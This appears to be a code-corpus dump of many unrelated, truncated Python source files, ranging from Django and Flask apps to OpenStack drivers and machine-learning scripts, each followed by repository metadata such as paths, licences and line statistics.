# coding=utf-8 # Copyright 2020 The Allen Institute for AI team and The HuggingFace Inc. team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2...
37.04918
91
0.757522
ca185e309339df61183bf4c51523d16002de621d
372
py
Python
projects/crawl_taobao_goods_migrate/model/es/es_based_spu_summary.py
kingking888/crawler-pyspider
29ba13905c73081097df9ef646a5c8194eb024be
[ "Apache-2.0" ]
1
2021-12-07T15:48:51.000Z
2021-12-07T15:48:51.000Z
projects/crawl_taobao_goods_migrate/model/es/es_based_spu_summary.py
GongSong/crawler-pyspider
b6dcec4afa4e1cd393f94627290a21ed95238676
[ "Apache-2.0" ]
null
null
null
projects/crawl_taobao_goods_migrate/model/es/es_based_spu_summary.py
GongSong/crawler-pyspider
b6dcec4afa4e1cd393f94627290a21ed95238676
[ "Apache-2.0" ]
1
2021-11-10T07:12:02.000Z
2021-11-10T07:12:02.000Z
from pyspider.core.model.es_base import * class EsBasedSpuSummary(Base): """ 天猫商品评价得分的数据 """ def __init__(self): super(EsBasedSpuSummary, self).__init__() self.cli = es_cli self.index = 'based_spu_summary' self.test_index = 'based_spu_summary_test' self.doc_typ...
23.25
50
0.637097
75867d24bdb0784313911ccbe28168f15b330122
3,397
py
Python
properties/nodes/normal.py
jasperges/blenderseed
971cfa0303a76684aaa6b896571b31e9b6b84955
[ "MIT" ]
null
null
null
properties/nodes/normal.py
jasperges/blenderseed
971cfa0303a76684aaa6b896571b31e9b6b84955
[ "MIT" ]
null
null
null
properties/nodes/normal.py
jasperges/blenderseed
971cfa0303a76684aaa6b896571b31e9b6b84955
[ "MIT" ]
null
null
null
# # This source file is part of appleseed. # Visit http://appleseedhq.net/ for additional information and resources. # # This software is released under the MIT license. # # Copyright (c) 2014-2017 The appleseedhq Organization # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this s...
33.97
85
0.724463
0305ae83fd63b899d2310844ccb0aea35bacb96b
409
py
Python
examples/MOTD_Using_Eggs/src/acme.motd/acme/motd/i_motd.py
janvonrickenbach/Envisage_wxPhoenix_py3
cf79e5b2a0c3b46898a60b5fe5a2fb580604808b
[ "BSD-3-Clause" ]
null
null
null
examples/MOTD_Using_Eggs/src/acme.motd/acme/motd/i_motd.py
janvonrickenbach/Envisage_wxPhoenix_py3
cf79e5b2a0c3b46898a60b5fe5a2fb580604808b
[ "BSD-3-Clause" ]
1
2017-05-22T21:15:22.000Z
2017-05-22T21:15:22.000Z
examples/MOTD_Using_Eggs/src/acme.motd/acme/motd/i_motd.py
janvonrickenbach/Envisage_wxPhoenix_py3
cf79e5b2a0c3b46898a60b5fe5a2fb580604808b
[ "BSD-3-Clause" ]
1
2019-10-01T07:03:58.000Z
2019-10-01T07:03:58.000Z
""" The 'Message of the Day' interface. """ # Enthought library imports. from traits.api import Interface class IMOTD(Interface): """ The 'Message of the Day' interface. """ def motd(self): """ Return the message of the day. Returns an object that implements the 'IMessage' interface. ...
21.526316
79
0.515892
555d428271b236fc308afc271d900fd89738f9d1
1,859
py
Python
utils/medical.py
whiplash003/pytrorch_template
4629ede6ade3359a12bd40269fced3b96e8d11b3
[ "MIT" ]
4
2019-10-11T01:08:47.000Z
2021-02-27T13:37:05.000Z
utils/medical.py
qilong97/PyTorch-Project-Framework
e1d791e9ac679907f94f0fbe7b9c930292cb61d3
[ "MIT" ]
null
null
null
utils/medical.py
qilong97/PyTorch-Project-Framework
e1d791e9ac679907f94f0fbe7b9c930292cb61d3
[ "MIT" ]
5
2019-11-01T09:25:00.000Z
2021-08-23T02:48:45.000Z
from typing import Union import torch import numpy as np import math __all__ = ['cbf'] def cbf(dM: Union[torch.Tensor, np.ndarray], M0: Union[torch.Tensor, np.ndarray], eps=1e-6, maxPerfusion=150, TR=4000, TE=9.1, PLD=1500, LabelTime=1800, NR=46, alpha=0.85, delta=2000, lamda=0.9, T1a=1624, T2a=80, ...
30.983333
106
0.622378
6345ca9b82dde84838985c0715fffc0a5f5a157f
644
py
Python
backend/chat/api/v1/urls.py
crowdbotics-apps/chatapp-example-30428
d84a05663c8d3d20138a742e2eedfd68dc2ea142
[ "FTL", "AML", "RSA-MD" ]
null
null
null
backend/chat/api/v1/urls.py
crowdbotics-apps/chatapp-example-30428
d84a05663c8d3d20138a742e2eedfd68dc2ea142
[ "FTL", "AML", "RSA-MD" ]
1
2021-10-03T22:43:38.000Z
2021-10-03T22:43:38.000Z
backend/chat/api/v1/urls.py
crowdbotics-apps/chatapp-example-30428
d84a05663c8d3d20138a742e2eedfd68dc2ea142
[ "FTL", "AML", "RSA-MD" ]
null
null
null
from django.urls import path, include from rest_framework.routers import DefaultRouter from .viewsets import ( MessageActionViewSet, ThreadMemberViewSet, ThreadViewSet, MessageViewSet, ThreadActionViewSet, ForwardedMessageViewSet, ) router = DefaultRouter() router.register("messageaction", Mess...
28
60
0.791925
aecc84110802c0d8ecc5422032d2570b100404d7
1,785
py
Python
cornac/metrics/rating.py
Andrew-DungLe/cornac
199ab9181f8b6387cc8748ccf8ee3e5c9df087fb
[ "Apache-2.0" ]
null
null
null
cornac/metrics/rating.py
Andrew-DungLe/cornac
199ab9181f8b6387cc8748ccf8ee3e5c9df087fb
[ "Apache-2.0" ]
null
null
null
cornac/metrics/rating.py
Andrew-DungLe/cornac
199ab9181f8b6387cc8748ccf8ee3e5c9df087fb
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ @author: Aghiles Salah Quoc-Tuan Truong <tuantq.vnu@gmail.com> """ import numpy as np class RatingMetric: """Rating Metric. Parameters ---------- name: string, Name of the measure. type: string, value: 'rating' Type of the metric, e.g., "rank...
22.3125
86
0.59944
f350996d0acea3616c861d21bcc4285b25552c7c
555
py
Python
emcli/commands/utils/asg_health.py
jdks/envmgr-cli
20fe7740b827010c1c8ae668f764ecf490010455
[ "Apache-2.0" ]
6
2017-02-01T15:02:41.000Z
2019-04-05T10:27:00.000Z
emcli/commands/utils/asg_health.py
jdks/envmgr-cli
20fe7740b827010c1c8ae668f764ecf490010455
[ "Apache-2.0" ]
5
2017-02-09T17:25:22.000Z
2018-11-22T14:59:07.000Z
emcli/commands/utils/asg_health.py
trainline/envmgr-cli
619dc4b30a5859deb5381cb668a2b017b71d321d
[ "Apache-2.0" ]
12
2017-02-10T11:41:47.000Z
2020-10-29T09:36:56.000Z
# Copyright (c) Trainline Limited, 2017. All rights reserved. See LICENSE.txt in the project root for license information. def describe_asg_health(asg_status): if asg_status.get('required_count') == 0: return 'No services expected' elif asg_status.get('missing_count') is not None: return 'Miss...
37
122
0.695495
12cf81d1e4296bd054103927f5496fd97dc6fc14
122
py
Python
1175.py
gabizinha12/URI-algorithms
1754150e14409194fc60dcc6524a02c5f4451188
[ "MIT" ]
7
2021-06-21T14:37:30.000Z
2021-11-08T08:56:34.000Z
1175.py
gabizinha12/URI-algorithms
1754150e14409194fc60dcc6524a02c5f4451188
[ "MIT" ]
null
null
null
1175.py
gabizinha12/URI-algorithms
1754150e14409194fc60dcc6524a02c5f4451188
[ "MIT" ]
null
null
null
v = [] for i in range(20): v.append(int(input(""))) for i in range(20): print("N[%i] = %i" % (i, v[19 - i]))
20.333333
41
0.45082
7da7baae1d10edbd69330a8242cc8df78d81f638
147,812
py
Python
cinder/tests/unit/volume/drivers/vmware/test_vmware_vmdk.py
arunvinodqmco/cinder
62cb72c6890e458427ba0601646b186b7b36dc01
[ "Apache-2.0" ]
571
2015-01-01T17:47:26.000Z
2022-03-23T07:46:36.000Z
cinder/tests/unit/volume/drivers/vmware/test_vmware_vmdk.py
arunvinodqmco/cinder
62cb72c6890e458427ba0601646b186b7b36dc01
[ "Apache-2.0" ]
37
2015-01-22T23:27:04.000Z
2021-02-05T16:38:48.000Z
cinder/tests/unit/volume/drivers/vmware/test_vmware_vmdk.py
arunvinodqmco/cinder
62cb72c6890e458427ba0601646b186b7b36dc01
[ "Apache-2.0" ]
841
2015-01-04T17:17:11.000Z
2022-03-31T12:06:51.000Z
# Copyright (c) 2013 VMware, Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required...
43.653869
79
0.661739
c32050f00f3af585ee5acb3ba64e465a33d1495d
10,041
py
Python
tools/retinanet/train_swa.py
chisyliu/RotationDetection
6f2bd55a51a6de0bcd0959a85977682511fd440d
[ "Apache-2.0" ]
2
2022-03-05T09:55:49.000Z
2022-03-05T10:12:51.000Z
tools/retinanet/train_swa.py
junhai0428/RotationDetection
4249720ea4dacdd60e696901df8034e5cd0a1843
[ "Apache-2.0" ]
null
null
null
tools/retinanet/train_swa.py
junhai0428/RotationDetection
4249720ea4dacdd60e696901df8034e5cd0a1843
[ "Apache-2.0" ]
null
null
null
# -*- coding:utf-8 -*- # Author: Xue Yang <yangxue-2019-sjtu@sjtu.edu.cn>, <yangxue0827@126.com> # License: Apache-2.0 license # Copyright (c) SJTU. ALL rights reserved. from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import sys import numpy as n...
58.377907
121
0.451549
b65ab583ba2477d475acb8ce71407908e1f500cc
1,870
py
Python
Bottom-13.py
culture0418/AIFinalProject
3b26a72b4c42870f7806312ba63cfeccde80f01f
[ "MIT" ]
null
null
null
Bottom-13.py
culture0418/AIFinalProject
3b26a72b4c42870f7806312ba63cfeccde80f01f
[ "MIT" ]
null
null
null
Bottom-13.py
culture0418/AIFinalProject
3b26a72b4c42870f7806312ba63cfeccde80f01f
[ "MIT" ]
null
null
null
# coding=utf-8 # input25.avi fps=15 # input26.avi fps=10 # input27.avi fps=5 import cv2 import time import numpy as np import RPi.GPIO as GPIO COUNTER_PIN = 16 GPIO.setmode(GPIO.BOARD) GPIO.setup(COUNTER_PIN, GPIO.IN) def detector(filename): face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default...
21.744186
79
0.611765
f29c68c6d902b8734beb400a83482afd4c5bb1c1
8,540
py
Python
fdasrsf/umap_metric.py
gitter-badger/fdasrsf_python
f59bd74b570662c17a1a042556d4887e6a75fa3e
[ "BSD-3-Clause" ]
34
2017-02-17T13:48:49.000Z
2022-02-27T11:17:14.000Z
fdasrsf/umap_metric.py
gitter-badger/fdasrsf_python
f59bd74b570662c17a1a042556d4887e6a75fa3e
[ "BSD-3-Clause" ]
23
2018-05-21T20:12:26.000Z
2022-03-28T23:19:10.000Z
fdasrsf/umap_metric.py
gitter-badger/fdasrsf_python
f59bd74b570662c17a1a042556d4887e6a75fa3e
[ "BSD-3-Clause" ]
12
2018-03-07T13:16:06.000Z
2021-12-31T05:21:53.000Z
""" Distance metrics for functions and curves in R^n for use with UMAP (https://github.com/lmcinnes/umap) moduleauthor:: J. Derek Tucker <jdtuck@sandia.gov> """ import numba from numba.core.typing import cffi_utils from _DP import ffi, lib import _DP from numpy import linspace, interp, zeros, diff, double, sqrt, ara...
23.018868
109
0.521429
d77bd26438dd1f871f58eaeab91c208b77088395
3,024
py
Python
test.py
Afafabdb/Instagram-API-python
0681b664ced73ee6d881e7a1bbca3e9c8da601b1
[ "MIT" ]
null
null
null
test.py
Afafabdb/Instagram-API-python
0681b664ced73ee6d881e7a1bbca3e9c8da601b1
[ "MIT" ]
null
null
null
test.py
Afafabdb/Instagram-API-python
0681b664ced73ee6d881e7a1bbca3e9c8da601b1
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # See ReadMe for preparation instructions for credentials. import unittest from InstagramAPI import InstagramAPI, credentials """ WARNING: These tests may affect your account. Use a test account. """ class InstagramAPITests(unittest.TestCase): # def test_login...
35.576471
108
0.627315
479cdca8c9d8221badedb07b36f7513efe314af6
1,772
py
Python
software/control/contact_monitor/python/contact_monitor/main.py
liangfok/oh-distro
eeee1d832164adce667e56667dafc64a8d7b8cee
[ "BSD-3-Clause" ]
92
2016-01-14T21:03:50.000Z
2021-12-01T17:57:46.000Z
software/control/contact_monitor/python/contact_monitor/main.py
liangfok/oh-distro
eeee1d832164adce667e56667dafc64a8d7b8cee
[ "BSD-3-Clause" ]
62
2016-01-16T18:08:14.000Z
2016-03-24T15:16:28.000Z
software/control/contact_monitor/python/contact_monitor/main.py
liangfok/oh-distro
eeee1d832164adce667e56667dafc64a8d7b8cee
[ "BSD-3-Clause" ]
41
2016-01-14T21:26:58.000Z
2022-03-28T03:10:39.000Z
import lcm, os, sys, drc, math, time """ A simple foot contact classifier for Atlas. """ lc = lcm.LCM() class ContactMonitor: def __init__(self,fz_threshold,channel, debounce_time): self.fz_threshold = fz_threshold # newtons self.l_foot_contact = False self.r_foot_contact = False self.last_left_ch...
27.6875
79
0.702596
30f64d7fe11ebf2c7b586042067eba7075c1ac87
443
py
Python
setup.py
alexandershov/mess
7b0d956c1fd39cca2e4adcd5dc35952ec3ed3fd5
[ "MIT" ]
null
null
null
setup.py
alexandershov/mess
7b0d956c1fd39cca2e4adcd5dc35952ec3ed3fd5
[ "MIT" ]
null
null
null
setup.py
alexandershov/mess
7b0d956c1fd39cca2e4adcd5dc35952ec3ed3fd5
[ "MIT" ]
null
null
null
from setuptools import find_packages, setup setup( name='mess', author='Alexander Ershov', author_email='codumentary.com@gmail.com', version='0.1.0', packages=find_packages(), install_requires=['six'], url='https://github.com/alexandershov/mess', keywords=['utilities', 'iterators'], ...
23.315789
48
0.634312
cfe5b07745b86d664bc0f18c20beee0290b236ec
1,362
py
Python
tests/test_concurrency/test_newthreadscheduler.py
AlexMost/RxPY
05cb14c72806dc41e243789c05f498dede11cebd
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
tests/test_concurrency/test_newthreadscheduler.py
AlexMost/RxPY
05cb14c72806dc41e243789c05f498dede11cebd
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
tests/test_concurrency/test_newthreadscheduler.py
AlexMost/RxPY
05cb14c72806dc41e243789c05f498dede11cebd
[ "ECL-2.0", "Apache-2.0" ]
1
2021-11-04T11:13:49.000Z
2021-11-04T11:13:49.000Z
import unittest from datetime import datetime, timedelta from time import sleep from rx.concurrency import NewThreadScheduler class TestNewThreadScheduler(unittest.TestCase): def test_new_thread_now(self): scheduler = NewThreadScheduler() res = scheduler.now() - datetime.utcnow() assert re...
27.24
74
0.643172
f541a6f63f37ebe09d3d672cdf2872fd1fc33ab0
20,797
py
Python
neutron_vpnaas/services/vpn/device_drivers/pptp.py
swordboy/neutron-vpnaas-7.0.0-vpnenhance
fa1d78acbd31906354a4d959fc2e05044d96ebcd
[ "Apache-2.0" ]
2
2016-10-13T02:15:14.000Z
2019-01-13T14:35:52.000Z
neutron_vpnaas/services/vpn/device_drivers/pptp.py
MrFengJian/neutron-vpnaas-7.0.0-vpnenhance
fa1d78acbd31906354a4d959fc2e05044d96ebcd
[ "Apache-2.0" ]
null
null
null
neutron_vpnaas/services/vpn/device_drivers/pptp.py
MrFengJian/neutron-vpnaas-7.0.0-vpnenhance
fa1d78acbd31906354a4d959fc2e05044d96ebcd
[ "Apache-2.0" ]
1
2019-04-12T11:34:03.000Z
2019-04-12T11:34:03.000Z
# All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in...
37.472072
79
0.615089
67761a50a32aba1e5e8aa2095f886f17d951b648
1,582
py
Python
src/pla.py
socofels/ML_base_alg
2f84a2a35b0217d31cbcd39a881ab5eb2eff1772
[ "MIT" ]
null
null
null
src/pla.py
socofels/ML_base_alg
2f84a2a35b0217d31cbcd39a881ab5eb2eff1772
[ "MIT" ]
null
null
null
src/pla.py
socofels/ML_base_alg
2f84a2a35b0217d31cbcd39a881ab5eb2eff1772
[ "MIT" ]
null
null
null
import numpy as np from matplotlib import pyplot as plt def sign(y_pred): y_pred = (y_pred >= 0) * 2 - 1 return y_pred def plot(x, w): plt.scatter(x[:, 1][pos_index], x[:, 2][pos_index], marker="P") plt.scatter(x[:, 1][neg_index], x[:, 2][neg_index], marker=0) x = [-1, 100] y = -(w[0] + w[1]...
28.763636
98
0.506953
7acc9070f2c6882a6fc81c07574f1b5f13e57989
1,986
py
Python
test_dags/example_subdag_operator.py
ranjeettyadav/ranjeettyadav
13325501bc8abc27f352d2b6e3cbe9b8dd321232
[ "MIT" ]
null
null
null
test_dags/example_subdag_operator.py
ranjeettyadav/ranjeettyadav
13325501bc8abc27f352d2b6e3cbe9b8dd321232
[ "MIT" ]
null
null
null
test_dags/example_subdag_operator.py
ranjeettyadav/ranjeettyadav
13325501bc8abc27f352d2b6e3cbe9b8dd321232
[ "MIT" ]
null
null
null
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not...
26.837838
64
0.737664
d45e805e614e13abd1f3b300bee2decb4009c0a7
1,176
py
Python
4_GET_POST/server_flask4.py
IzPerfect/Python-Flask
bfd66bab9792c64eb8fb8f71a878a5890549b6e4
[ "MIT" ]
null
null
null
4_GET_POST/server_flask4.py
IzPerfect/Python-Flask
bfd66bab9792c64eb8fb8f71a878a5890549b6e4
[ "MIT" ]
null
null
null
4_GET_POST/server_flask4.py
IzPerfect/Python-Flask
bfd66bab9792c64eb8fb8f71a878a5890549b6e4
[ "MIT" ]
null
null
null
from flask import Flask, request app = Flask(__name__) # HTTP 메서드 타입 중에서 GET과 POST에 따라 요청 처리 # GET vs POST # GET은 'url + ?쿼리 스트링'의 형태로 주소줄에 정보를 노출한다 # 그리고 위의 형태로는 많은 양의 데이터를 전달하기 어렵다 # Post는 HTTP 메시지의 바디에 데이터를 포함하므로 많은 양의 데이터를 전달 # 또한 요청은 암호화 되기 때문에 데이터 변경 목적으로도 사용 # GET은 정보를 요청하고 얻을 때, POST는 수행할 때 # GET, POST 동시...
23.058824
69
0.633503
ad147a1023ee92d675ae653161cfc09c008ebced
5,926
py
Python
tools/facerecognition.py
patrickmoineau/MMM-Face-Reco-DNN
7ea8595b1950089358e1881ac5830006e2bdbeca
[ "MIT" ]
null
null
null
tools/facerecognition.py
patrickmoineau/MMM-Face-Reco-DNN
7ea8595b1950089358e1881ac5830006e2bdbeca
[ "MIT" ]
null
null
null
tools/facerecognition.py
patrickmoineau/MMM-Face-Reco-DNN
7ea8595b1950089358e1881ac5830006e2bdbeca
[ "MIT" ]
null
null
null
# USAGE # python pi_face_recognition.py --cascade haarcascade_frontalface_default.xml --encodings encodings.pickle # import the necessary packages from stream import VideoStream from imutils.video import FPS import face_recognition import argparse import imutils import pickle import time import cv2 import json import ...
31.860215
107
0.707729
2e26eb9d60c094f98235b7d15f8bd89d173393e2
8,924
py
Python
keras_retinanet/utils/eval.py
krustnic/keras-retinanet
8033bac2eb1ce09635eeebd2dc6447867e98aedf
[ "Apache-2.0" ]
1
2018-06-11T13:17:48.000Z
2018-06-11T13:17:48.000Z
keras_retinanet/utils/eval.py
krustnic/keras-retinanet
8033bac2eb1ce09635eeebd2dc6447867e98aedf
[ "Apache-2.0" ]
null
null
null
keras_retinanet/utils/eval.py
krustnic/keras-retinanet
8033bac2eb1ce09635eeebd2dc6447867e98aedf
[ "Apache-2.0" ]
null
null
null
""" Copyright 2017-2018 Fizyr (https://fizyr.com) Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in w...
39.140351
148
0.657104
e0751e5bc4ccb6003f6cab685ecb336a60bdf015
3,220
py
Python
visibility_map.py
cyrobin/patrolling
ab171fbea6b1c9324afdead0ddac3d349583f16a
[ "BSD-3-Clause" ]
null
null
null
visibility_map.py
cyrobin/patrolling
ab171fbea6b1c9324afdead0ddac3d349583f16a
[ "BSD-3-Clause" ]
null
null
null
visibility_map.py
cyrobin/patrolling
ab171fbea6b1c9324afdead0ddac3d349583f16a
[ "BSD-3-Clause" ]
null
null
null
""" Cyril Robin -- LAAS-CNRS -- 2014 TODO Descriptif """ import numpy as np from math import sqrt,log from geomaps import Geomap from constant import * class VisibilityMap(Geomap): 'A Geomap that specifically embodies robot visibility (sensing)' """ This function return an appropriate sensor model defined ...
33.541667
97
0.523913
ff611b4730814024235a8f2bb037dbefe322f539
2,931
py
Python
glue/viewers/common/layer_artist.py
tiagopereira/glue
85bf7ce2d252d7bc405e8160b56fc83d46b9cbe4
[ "BSD-3-Clause" ]
1
2019-12-17T07:58:35.000Z
2019-12-17T07:58:35.000Z
glue/viewers/common/layer_artist.py
scalet98/glue
ff949ad52e205c20561f48c05f870b2abb39e0b0
[ "BSD-3-Clause" ]
null
null
null
glue/viewers/common/layer_artist.py
scalet98/glue
ff949ad52e205c20561f48c05f870b2abb39e0b0
[ "BSD-3-Clause" ]
1
2019-08-04T14:10:12.000Z
2019-08-04T14:10:12.000Z
from __future__ import absolute_import, division, print_function from glue.external.echo import keep_in_sync, CallbackProperty from glue.core.layer_artist import LayerArtistBase from glue.viewers.common.state import LayerState from glue.core.message import LayerArtistVisibilityMessage __all__ = ['LayerArtist'] clas...
35.743902
84
0.677926
feb932700739ec64119f540b908ee742f9873935
515
py
Python
plugins/sophos_xg_firewall/setup.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
46
2019-06-05T20:47:58.000Z
2022-03-29T10:18:01.000Z
plugins/sophos_xg_firewall/setup.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
386
2019-06-07T20:20:39.000Z
2022-03-30T17:35:01.000Z
plugins/sophos_xg_firewall/setup.py
lukaszlaszuk/insightconnect-plugins
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
[ "MIT" ]
43
2019-07-09T14:13:58.000Z
2022-03-28T12:04:46.000Z
# GENERATED BY KOMAND SDK - DO NOT EDIT from setuptools import setup, find_packages setup(name='sophos_xg_firewall-rapid7-plugin', version='2.0.1', description='The Sophos XG Firewall plugin allows you to manage your Sophos XG Firewall through policies', author='rapid7', author_email='', ...
34.333333
112
0.695146
0d39d5274ca40c7e3a7e8065190dc5a2ff5984a4
1,005
py
Python
setup.py
rhaist/PyMISPWarningLists
bc2965639ee24d46c760015671d7e9e5088be1cc
[ "BSD-3-Clause" ]
21
2017-10-29T08:20:54.000Z
2022-01-03T00:20:31.000Z
setup.py
rhaist/PyMISPWarningLists
bc2965639ee24d46c760015671d7e9e5088be1cc
[ "BSD-3-Clause" ]
15
2018-01-20T07:34:29.000Z
2022-03-24T14:10:02.000Z
setup.py
rhaist/PyMISPWarningLists
bc2965639ee24d46c760015671d7e9e5088be1cc
[ "BSD-3-Clause" ]
13
2017-12-07T10:45:44.000Z
2022-03-28T11:38:50.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- from setuptools import setup # type: ignore setup( name='pymispwarninglists', version='1.0-dev', author='Raphaël Vinot', author_email='raphael.vinot@circl.lu', maintainer='Raphaël Vinot', url='https://github.com/MISP/PyMISPWarningLists', descr...
33.5
82
0.618905
3af3e778a594744c031fe5dc5269d43f4d3b36a4
16,526
py
Python
torchlib/netlosses.py
daaiwusheng/ferattention
d0497bfe52db4ed9444482558e031986e5175a4e
[ "MIT" ]
79
2019-03-25T19:37:17.000Z
2022-03-24T03:54:26.000Z
torchlib/netlosses.py
daaiwusheng/ferattention
d0497bfe52db4ed9444482558e031986e5175a4e
[ "MIT" ]
9
2019-05-09T15:48:53.000Z
2021-10-11T06:58:23.000Z
torchlib/netlosses.py
daaiwusheng/ferattention
d0497bfe52db4ed9444482558e031986e5175a4e
[ "MIT" ]
25
2019-04-04T09:30:03.000Z
2021-08-02T15:45:38.000Z
import torch import numpy as np import torch.nn as nn import torch.nn.functional as F from torch.autograd import Variable #TODO: Fusion loss class Attloss(nn.Module): def __init__(self ): super(Attloss, self).__init__() self.maxvalueloss = 30 def forward(self, x_org, y_mask, att): d = ...
30.547135
117
0.562144
6dba4d263b8edba5da62e219c292272cb74df1cf
414
py
Python
plotly/validators/pie/marker/_colors.py
faezs/plotly.py
6009b5b9c746e5d2a2849ad255a4eb234b551ed7
[ "MIT" ]
2
2020-03-24T11:41:14.000Z
2021-01-14T07:59:43.000Z
plotly/validators/pie/marker/_colors.py
faezs/plotly.py
6009b5b9c746e5d2a2849ad255a4eb234b551ed7
[ "MIT" ]
null
null
null
plotly/validators/pie/marker/_colors.py
faezs/plotly.py
6009b5b9c746e5d2a2849ad255a4eb234b551ed7
[ "MIT" ]
4
2019-06-03T14:49:12.000Z
2022-01-06T01:05:12.000Z
import _plotly_utils.basevalidators class ColorsValidator(_plotly_utils.basevalidators.DataArrayValidator): def __init__( self, plotly_name='colors', parent_name='pie.marker', **kwargs ): super(ColorsValidator, self).__init__( plotly_name=plotly_name, parent_name=paren...
25.875
71
0.625604
70fec8ff731b8f3fb0d51889e4ceb118728a1d4d
1,022
py
Python
Methods/Slot/SlotW11/comp_height.py
Superomeg4/pyleecan
2b695b5f39e77475a07aa0ea89489fb0a9659337
[ "Apache-2.0" ]
2
2020-06-29T13:48:37.000Z
2021-06-15T07:34:05.000Z
Methods/Slot/SlotW11/comp_height.py
Superomeg4/pyleecan
2b695b5f39e77475a07aa0ea89489fb0a9659337
[ "Apache-2.0" ]
null
null
null
Methods/Slot/SlotW11/comp_height.py
Superomeg4/pyleecan
2b695b5f39e77475a07aa0ea89489fb0a9659337
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """@package Methods.Machine.SlotW11.comp_height SlotW11 Computation of height method @date Created on Tue Jun 30 14:54:30 2015 @copyright (C) 2014-2015 EOMYS ENGINEERING. @author pierre_b """ from numpy import cos, tan def comp_height(self): """Compute the height of the Slot. Caution,...
22.217391
85
0.569472
f1e2b9a84e888ce835904b8f5b0044ba17a18c0c
18,605
py
Python
ccmlib/scylla_repository.py
dkropachev/scylla-ccm
e5a7b9a3ca498cb590a8e20a890777cfea2b2246
[ "Apache-2.0" ]
null
null
null
ccmlib/scylla_repository.py
dkropachev/scylla-ccm
e5a7b9a3ca498cb590a8e20a890777cfea2b2246
[ "Apache-2.0" ]
null
null
null
ccmlib/scylla_repository.py
dkropachev/scylla-ccm
e5a7b9a3ca498cb590a8e20a890777cfea2b2246
[ "Apache-2.0" ]
null
null
null
from __future__ import with_statement import random import time from pathlib import Path from typing import NamedTuple import os import tarfile import tempfile import shutil import subprocess import re import gzip import sys import glob from subprocess import Popen, PIPE, STDOUT import hashlib import requests from...
43.06713
145
0.641655
b96e583d7302b47fc3fb31f44c0da8a1288559e5
842
py
Python
pyclustering/core/mbsas_wrapper.py
JosephChataignon/pyclustering
bf4f51a472622292627ec8c294eb205585e50f52
[ "BSD-3-Clause" ]
1,013
2015-01-26T19:50:14.000Z
2022-03-31T07:38:48.000Z
pyclustering/core/mbsas_wrapper.py
peterlau0626/pyclustering
bf4f51a472622292627ec8c294eb205585e50f52
[ "BSD-3-Clause" ]
542
2015-01-20T16:44:32.000Z
2022-01-29T14:57:20.000Z
pyclustering/core/mbsas_wrapper.py
peterlau0626/pyclustering
bf4f51a472622292627ec8c294eb205585e50f52
[ "BSD-3-Clause" ]
262
2015-03-19T07:28:12.000Z
2022-03-30T07:28:24.000Z
"""! @brief CCORE Wrapper for MBSAS algorithm. @authors Andrei Novikov (pyclustering@yandex.ru) @date 2014-2020 @copyright BSD-3-Clause """ from ctypes import c_double, c_size_t, POINTER; from pyclustering.core.wrapper import ccore_library; from pyclustering.core.pyclustering_package import pycluste...
29.034483
109
0.749406
4c47e64506489f95cae8002e9bddc3b1a09d1ba6
676
py
Python
test-examples/add_surface.py
tlambert03/image-demos
a2974bcc7f040fd4d14e659c4cbfeabcf726c707
[ "BSD-3-Clause" ]
null
null
null
test-examples/add_surface.py
tlambert03/image-demos
a2974bcc7f040fd4d14e659c4cbfeabcf726c707
[ "BSD-3-Clause" ]
null
null
null
test-examples/add_surface.py
tlambert03/image-demos
a2974bcc7f040fd4d14e659c4cbfeabcf726c707
[ "BSD-3-Clause" ]
null
null
null
"""Test converting an image to a multiscale. """ import numpy as np import napari with napari.gui_qt(): #viewer = napari.Viewer() np.random.seed(0) # vertices = np.random.random((10, 3)) # faces = np.random.randint(10, size=(6, 3)) # values = np.random.random(10) vertices = np.random.random((...
27.04
63
0.597633
6ed3329bbb8e6ad2967b51c92e6d68a4fa537f6a
314
py
Python
app/product/urls.py
divae/cecotec-test
5739ab6616804ca2adc13149a83ba65679cd0dba
[ "MIT" ]
null
null
null
app/product/urls.py
divae/cecotec-test
5739ab6616804ca2adc13149a83ba65679cd0dba
[ "MIT" ]
null
null
null
app/product/urls.py
divae/cecotec-test
5739ab6616804ca2adc13149a83ba65679cd0dba
[ "MIT" ]
null
null
null
from django.urls import path, include from rest_framework.routers import DefaultRouter from product import views router = DefaultRouter() router.register('products', views.ProductViewSet) router.register('orders', views.OrderViewSet) app_name = 'product' urlpatterns = [ path('', include(router.urls)) ]
18.470588
49
0.767516